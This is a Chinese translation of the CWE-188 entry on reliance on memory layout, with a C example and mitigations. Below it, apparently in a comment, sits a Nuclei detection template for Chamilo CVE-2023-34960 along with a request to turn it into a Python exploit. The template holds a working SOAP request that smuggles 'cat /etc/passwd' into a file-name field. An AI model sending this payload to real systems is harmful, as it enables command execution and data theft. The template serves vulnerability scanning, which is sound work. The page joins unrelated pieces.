CWE-188: Reliance on Data/Memory Layout(数据依赖/内存布局)

本文探讨了软件在处理协议数据或内存时由于对数据布局的无效假设而导致的问题。介绍了不同架构下局部变量的布局差异及其对程序行为的影响,并提供了应对措施。

 ID: 188

类型:基础
结构:简单

状态:草稿

描述

软件对协议数据或内存在较低级别的组织方式进行了无效的假设,从而导致意外的程序行为

扩展描述

当更改平台或协议版本时,内存中的数据组织可能会以意外的方式更改。例如,有些体系结构可以将局部变量a和b放在一起,a放在上面;有些体系结构可以将局部变量a和b放在一起,b放在上面;另一些体系结构可以为每个局部变量添加一些填充。填充大小可能会有所不同,以确保每个变量都与适当的字大小对齐。

在协议实现中,通常计算相对于另一个字段的偏移量来挑选特定的数据块。异常情况(通常涉及新的协议版本)可能会添加以异常方式更改数据布局的角情况。结果可能是,实现访问包中的意外字段,将一种类型的数据视为另一种类型的数据。

相关视图

与“研究层面”视图(CWE-1000)相关

与“开发层面”视图(CWE-699)相关

引入模式

阶段

说明

架构与设计

 

实现

 

应用平台

语言

C (出现的可能性不确定)

C++ (出现的可能性不确定)

后果

范围

冲击

可能性

完整性
保密性

技术冲击: 修改内存; 读取内存

可能导致意外修改或敏感记忆暴露。

 

被利用的可能性:

示例

例1

在这个示例函数中,变量b的内存地址是通过在变量a的地址中添加1来派生的。然后,这个派生地址用于将值0赋给b。

(问题代码)

Example Language:

void example() {

char a;
char b;
*(&a + 1) = 0;

}

这里,b可能不是a后面的一个字节。它可以是a前面的一个字节。或者,它们之间可能有三个字节,因为它们在32位边界上对齐。

应对措施

阶段: 实现; 架构与设计

在扁平地址空间的情况下,绝不允许计算内存地址作为与另一个内存地址的偏移量。

阶段: 架构与设计

完全明确地指定协议布局,提供结构化语法(例如,可编译的yacc语法)

阶段: 测试

测试:测试代码正确的处理了语法协议包含的所有情况。

种属

关系

类型

ID

名称

属于

977

SFP Secondary Cluster: Design

id: CVE-2023-34960 info: name: Chamilo Command Injection author: DhiyaneshDK severity: critical description: | A command injection vulnerability in the wsConvertPpt component of Chamilo v1.11.* up to v1.11.18 allows attackers to execute arbitrary commands via a SOAP API call with a crafted PowerPoint name. impact: | Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire system. remediation: | Apply the latest security patches or updates provided by the vendor to fix the command injection vulnerability in Chamilo LMS. reference: - https://sploitus.com/exploit?id=FD666992-20E1-5D83-BA13-67ED38E1B83D - https://github.com/Aituglo/CVE-2023-34960/blob/master/poc.py - http://chamilo.com - http://packetstormsecurity.com/files/174314/Chamilo-1.11.18-Command-Injection.html - https://support.chamilo.org/projects/1/wiki/Security_issues#Issue-112-2023-04-20-Critical-impact-High-risk-Remote-Code-Execution classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2023-34960 cwe-id: CWE-77 epss-score: 0.93314 epss-percentile: 0.99067 cpe: cpe:2.3:a:chamilo:chamilo:*:*:*:*:*:*:*:* metadata: verified: "true" max-request: 1 vendor: chamilo product: chamilo shodan-query: - http.component:"Chamilo" - http.component:"chamilo" - cpe:"cpe:2.3:a:chamilo:chamilo" tags: cve,cve2023,packetstorm,chamilo http: - raw: - | POST /main/webservices/additional_webservices.php HTTP/1.1 Host: {{Hostname}} Content-Type: text/xml; charset=utf-8 <?xml version="1.0" encoding="UTF-8"?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="{{RootURL}}" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ns2="http://xml.apache.org/xml-soap" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:wsConvertPpt><param0 xsi:type="ns2:Map"><item><key xsi:type="xsd:string">file_data</key><value xsi:type="xsd:string"></value></item><item><key xsi:type="xsd:string">file_name</key><value xsi:type="xsd:string">`{}`.pptx'|" |cat /etc/passwd||a #</value></item><item><key xsi:type="xsd:string">service_ppt2lp_size</key><value xsi:type="xsd:string">720x540</value></item></param0></ns1:wsConvertPpt></SOAP-ENV:Body></SOAP-ENV:Envelope> matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" part: body - type: word part: header words: - text/xml - type: status status: - 200 # digest: 4a0a00473045022034e60ad33e2160ec78cbef2c6c410b14dabd6c3ca8518c21571e310453a24e25022100927e4973b55f38f2cc8ceca640925b7066d4325032b04fb0eca080984080a1d0:922c64590222798bb761d5b6d8e72950这是poc,用python写出对应的exp
03-27
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值